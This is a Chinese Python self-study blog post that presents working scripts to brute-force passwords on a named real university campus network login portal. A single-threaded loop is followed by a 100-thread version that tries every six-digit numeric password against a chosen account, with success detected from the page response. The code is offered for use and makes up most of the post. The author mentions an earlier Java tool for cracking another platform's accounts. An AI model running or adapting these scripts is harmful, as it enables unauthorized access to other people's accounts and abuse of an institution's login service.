py自学:“优雅”的访问校园网

因为“转行”的原因,开始学python了...

之前也用Java写过破取BB平台账号密码,但是对比py而言,这厮直接有了这个神器urllib 包...

代码量感觉也少了非常多!一种我py就是为了你用的爽的感觉,(虽然慢一些)

放一下代码,各位大神请多多指教:

# -*- coding: utf-8 -*-
import urllib2
import urllib
import sys   
import re
import cookielib
# 解决中文编码问题
type = sys.getfilesystemencoding() 
def sign(url,username,password):
	state = 'none'
	data = ''
	#表单信息
	values = {'action':'login',
		  'ac_id':'1',
		  'username':username,
		  'password':password
		  }
	data = urllib.urlencode(values)
	# 浏览器代理
	user_agent = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36'
	headers = {'User-Agent':user_agent}
	try:
		print 'try password:',password
		# 发出请求
		request = urllib2.Request(url,headers = headers,data=data)
		response = urllib2.urlopen(request)
		# 继续解决真是头大的编码问题
		content = response.read().decode("utf-8").encode(type)
		# 匹配 html 文件,连接成功的界面里面有一个 orange 的颜色属性...
		pattern = re.compile(r'orange',re.S)
		items = re.findall(pattern,content)
		for item in items:
			state = item
		#获取密码
		if state =='orange':
			print 'find the password and the password is' ,values['password']
			return True	
	except urllib2.URLError, e:
		if hasattr(e,'code'):
			print e.code
		if hasattr(e,'reason'):
			print e.reason
	return False
####后面就不多写了,循环再加多线程就更好了####
for i in range('密码范围'):
	if sign('https://ipgw.neu.edu.cn/srun_portal_pc.php?url=&ac_id=1','账号',i):
		break
这次就不用运行截图了,毕竟...最后希望大家的密码能复杂一些...

下面是多线程的实现 能破解从 纯6位密码

# -*- coding: utf-8 -*-
import urllib2,threading
import urllib
import sys   
import re
import cookielib
# 解决真是头大的字符编码问题
type = sys.getfilesystemencoding() 
flag = False
def sign(url,username,password):
	state = 'none'
	data = ''
	#表单信息
	values = {'action':'login',
		  'ac_id':'1',
		  'username':username,
		  'password':password
		  }
	data = urllib.urlencode(values)
	# 浏览器代理
	user_agent = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36'
	headers = {'User-Agent':user_agent}
	try:
		print 'try password:',password
		# 发出请求
		request = urllib2.Request(url,headers = headers,data=data)
		response = urllib2.urlopen(request)
		# 继续解决真是头大的字符编码问题
		content = response.read().decode("utf-8").encode(type)
		# 匹配 html 文件,连接成功的界面里面有一个 orange 的颜色属性...
		pattern = re.compile(r'orange',re.S)
		items = re.findall(pattern,content)
		for item in items:
			state = item
		#获取密码
		if state =='orange':
			print 'find the password and the password is' ,values['password']
			return True	
	except urllib2.URLError, e:
		if hasattr(e,'code'):
			print e.code
		if hasattr(e,'reason'):
			print e.reason
	return False
#-----------------------------#
threadl = []
def find(s,e):
	global flag
	for i in range(s,e):
		if flag==True:
			return 
		if sign('https://ipgw.neu.edu.cn/srun_portal_pc.php?url=&ac_id=1','XXXXXXX',i):
			flag = True
			return
for i in range(100):
	t = threading.Thread(target=find, args =(100000+9000*i,109000+9000*i))
	threadl.append(t)
for t in threadl:
	t.start()
for t in threadl:
	t.join()
	





  • 3
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值